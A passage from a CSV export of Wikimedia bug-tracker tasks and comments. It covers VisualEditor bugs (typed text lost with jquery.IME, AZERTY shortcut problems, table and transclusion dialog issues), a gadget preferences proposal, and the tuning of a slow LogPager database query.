+Rgds",,,1379248005,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+234245,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","Hello,
+
+This is 14th Sept 18.52 pm Indian standard time. I tested on  mr wiki couple of pages and tested on en wiki my own user space . To me problem is as is and not resolved.
+
+
+Thanks and best wished for your continued effort
+
+
+Rgds",,,1379165121,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0
+234240,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378942971,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234233,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately",Possible duplicate: Bug 53705,,,1378228533,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234226,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","[Not a blocker, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]
+
+Confirming for Firefox 23.0.1 and Fedora 19.
+
+Steps to reproduce:
+1. Go to non existing page like https://mr.wikipedia.org/w/index.php?title=%E0%A4%85%E0%A4%AB%E0%A4%97%E0%A4%BE
+2. make sure to be logged in
+3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
+4. Click cog next to इतर भाषांमध्ये
+5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
+6. Click तयार करा (Create page)
+7. Make sure that URL ends with &veaction=edit
+8. Type a word and press spacebar.",,,1378212092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+55682,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","A user reported a problem to use the ""clear formatting"" shortcut with a french AZERTY keyboard. The shortcut is ""Ctrl + \"", but ""\"" is only accessible as ""AltGr + 8"".
+
+First, even with, ""Ctrl + AltGr + 8"", the shortcut doesn't work. I was unable to find a keyboard combination that triggers the ""clear formatting"" shortcut. When using a classic QWERTY keyboard, ""Ctrl + \"" works on the same computer/browser.
+See https://bugzilla.wikimedia.org/show_bug.cgi?id=51507
+
+But, when testing, I noticed an other problem, with a behaviour depending on OS/browser when using ""Ctrl + AltGr + 8"" with text selected:
+* On W7 + Chrome 29, the selected text is replaced by ""\"", but VE doesn't see any modification: save is disabled, undo is disabled, ...
+* On W7 + Firefox 23, the selected text is replaced by ""\"", and VE sees that text has been modified
+* On Ubuntu 12.04 LTS + Firefox 20, a user report that all page is selected.
+
+Same kind of problems happen with ""Ctrl + Alt + 8"", ""Alt + 8"", ... or other digits.
+
+https://fr.wikipedia.org/w/index.php?title=Wikipédia:ÉditeurVisuel/Avis#Raccourci_clavier_pour_effacer_la_mise_en_forme
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51507",Medium,50.0,1378132560,1449101621.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+571630,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","Actually I think this was already fixed before Change 247800: On Ubuntu 15.10 with French keyboard, Alt+8 into a non-collapsed selection seems to overwrite the selection with \ in both the DOM and the DM, in both Firefox 42 and Chromium 45.",,,1449084298,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,False,,,126,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+571609,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","Change 247800 had a related patch set uploaded (by Divec):
+Diff richtext to build model changes
+
+[[https://gerrit.wikimedia.org/r/247800]]
+",,,1449082903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+257480,"VisualEditor: Trigger keys can end up in CE surface, but not in DM",Trigger issue is split to bug 56452. Re-titled.,,,1383283899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+55665,VisualEditor: Table rows with no defined cells rendered as an empty line,"At https://en.wikipedia.org/w/index.php?title=Flight_endurance_record&oldid=571122193#Free_Balloon.2C_Manned the table begins with an empty row where there would normally be a header:
+{|class=""wikitable""
+|-
+|-
+|content
+
+In view mode this empty line is not shown, but it does appear in VE.
+
+Testing at https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=571124234#Tables_with_empty_rows shows that the same thing happens, wherever the blank line is in the table. Oddly though the line is shown at full height when its in last position but ~half height elsewhere.
+
+In itself this isn't a problem, it's just different to what happens in view mode where the second |- is ignored.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1378066380,1404172794.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-c6mjvz42mmi6bswdw56d,task_description,resolved,True,c1,3,False,False,False,8,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+256481,VisualEditor: Table rows with no defined cells rendered as an empty line,This was fixed a while ago by the Parsoid team.,,,1404172794,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c6mjvz42mmi6bswdw56d,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+55612,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377905520,1398901249.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ua7w7m7aik6txmrerbe,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253526,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","Change 129856 merged by jenkins-bot:
+Restyle parameter pages
+
+https://gerrit.wikimedia.org/r/129856",,,1398900767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ua7w7m7aik6txmrerbe,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253521,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","Change 129856 had a related patch set uploaded by Trevor Parscal:
+Restyle parameter pages
+
+https://gerrit.wikimedia.org/r/129856",,,1398469830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ua7w7m7aik6txmrerbe,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55611,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData","
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377905340,1389902644.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-346l3sxkrxirwfv4rf4g,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253496,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData",Verified the fix in test2,,,1390422254,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-346l3sxkrxirwfv4rf4g,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+253491,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData",Done in I8f84a9ae277e5093356f591f7a56e8cebf4a1893.,,,1389902644,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-346l3sxkrxirwfv4rf4g,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+55610,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1377905220,1379435340.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3g3rbtewmym2ch553j4x,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253453,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","Change 74566 merged by jenkins-bot:
+Scroll into view support
+
+https://gerrit.wikimedia.org/r/74566",,,1379434760,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3g3rbtewmym2ch553j4x,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253447,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","Change 74566 had a related patch set uploaded by Jforrester:
+Scroll into view support
+
+https://gerrit.wikimedia.org/r/74566",,,1378774554,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3g3rbtewmym2ch553j4x,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55604,VisualEditor: Transclusion dialog improvements (tracking),"[Now tracked as #VisualEditor-MediaWiki-Templates instead.]
+
+
+Fork from bug 49833, which wasn't meant to be used this way.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377900000,1416798469.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3niuhnlezs7jfmugbwdy,task_description,resolved,True,c1,3,True,True,False,8,,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+513029,VisualEditor: Transclusion dialog improvements (tracking),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343622,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-3niuhnlezs7jfmugbwdy,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+55584,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,"Gadget checkboxes should be able to be grayed out (inaccessible) dependent on if another gadget is on or off, if other extensions exist that gadgets are unable to use, or if they require a specific skin to work.  For example, on en.wikipedia the current ""Editing"" section of the gadget tab on the preferences page looks like:
+ 
+[[ https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(current).png | commons:File:Special_Preferences_mw-prefsection-gadgets_(current).png ]]
+
+There should be a way to gray out functions, like:
+ 
+[[ https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(proposed).png | commons:File:Special_Preferences_mw-prefsection-gadgets_(proposed).png ]]
+If (in this instance) VisualEditor is enabled.",Medium,50.0,1377865740,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-anwdvhxvorgu42thq5we,task_description,open,True,c1,3,False,False,,8,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+393012,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,">>! In T55584#581617, @matmarex wrote:
+> The BetaFeatures extension implements something similar, maybe it could be extended to work with Gadgets. But I'm not sure if it's a good idea, you could just use the dependency system to load other gadgets regardless.
+
+Except in cases where the user doesn't want to use that other gadget.  In those cases, the dependent gadget should be greyed out and indicate they require the other component.  This lets the editor/user decide.",,,1419544542,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-anwdvhxvorgu42thq5we,task_subcomment,,True,c1,3,False,,,77,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+252162,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,"The BetaFeatures extension implements something similar, maybe it could be extended to work with Gadgets. But I'm not sure if it's a good idea, you could just use the dependency system to load other gadgets regardless.",,,1383302073,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-anwdvhxvorgu42thq5we,task_subcomment,,True,c1,3,True,,,17,,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+55583,VisualEditor: histograms are duplicated while editing,"https://fr.wikipedia.org/w/index.php?title=Polisy&veaction=edit
+or
+https://fr.wikipedia.org/w/index.php?title=Aix-en-Othe&veaction=edit
+
+The demographic histogram gets duplicated while VEditing, although everything will be fine again once you save, but I see this can confuse users.
+
+Looks like it is generated, like other parts of the Démographie section, by https://fr.wikipedia.org/wiki/Mod%C3%A8le:Section_d%C3%A9mographie_d%27article_de_commune_de_France .
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377864060,1424365332.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_description,resolved,True,c1,3,False,False,False,8,,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+414174,VisualEditor: histograms are duplicated while editing,"I don't see anything weird either on https://fr.wikipedia.org/w/index.php?title=Aix-en-Othe&veaction=edit
+
+Closing as FIXED.",,,1424365332,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,True,,,85,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+404069,VisualEditor: histograms are duplicated while editing,I discovered the bug in August 2013 and it was said to be fine from November 2013 at fr.wp. It must have been fixed by chance.,,,1422480548,,PHID-USER-4cgt73x34j35pnbem65l,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,False,,,82,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+402143,VisualEditor: histograms are duplicated while editing,Looks fine to me... Was this fixed at some point?,,,1421888433,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,True,,,81,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+55577,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Have seen multiple instances of this one backing up on commonswiki slaves recently:
+
+SELECT /* IndexPager::buildQueryInfo (LogPager) 148.160.132.46 */  log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags  FROM `logging` FORCE INDEX (times) LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN `tag_summary` ON ((ts_log_id=log_id))  WHERE (log_action != 'revision') AND (log_type != 'suppress') AND log_type IN ('delete','move')  AND log_namespace = '0' AND log_title = '0' AND ((log_deleted & 1) = 0)  ORDER BY log_timestamp DESC LIMIT 11
+
+It runs in excess of 10 minutes.
+
+EXPLAIN says the FORCE INDEX sends MySQL onto a very slow index scan over `times` (log_timestamp) which is hardly better than a table scan in this case.
+
+Removing the FORCE allows `page_time` index be used which reduces execution time to a few seconds.
+
+Suggest either filtering by a range on log_timestamp or removing the FORCE.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54122",Medium,50.0,1377856620,1396153047.0,PHID-USER-lxluxbieyr4tgfyp5jru,False,,False,PHID-TASK-5u2adzhalmhqywlvbhji,task_description,resolved,True,c1,3,False,False,False,8,,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+251660,IndexPager::buildQueryInfo (LogPager) query needs tuning,"With partitioned slaves LogPager queries are still not super fast, but they average <10s now and no longer dominate the slow query log.
+
+Closing this.",,,1396153047,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+251653,IndexPager::buildQueryInfo (LogPager) query needs tuning,"16 looks reasonable, I just wouldn't want something crazy like 256 ;)",,,1389312673,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+251647,IndexPager::buildQueryInfo (LogPager) query needs tuning,"16 partitions, a number chosen after some rough back-of-napkin style calculations for the larger wikis.
+
+The effect of accessing multiple partitions is closest to UNION. I don't anticipate excessive sorting or limiting penalties for our other queries though I do want to see how range access and index scans perform.
+
+Monitoring for queries adversely affected is definitely necessary and one of the reasons for only partitioning one slave per shard.",,,1389312419,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+251640,IndexPager::buildQueryInfo (LogPager) query needs tuning,How many partitions per table? So the Special:Log (no filter) case will have to UNION/resort/limit queries from each partition?,,,1389305283,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+251632,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Much better than it was.
+
+I'm now trialing partitioned logging tables on one slave per production shard and directing these queries to those boxes. Since most of the queries use log_user = N, partitioning on key(log_user) allows the optimizer to use partition pruning.
+
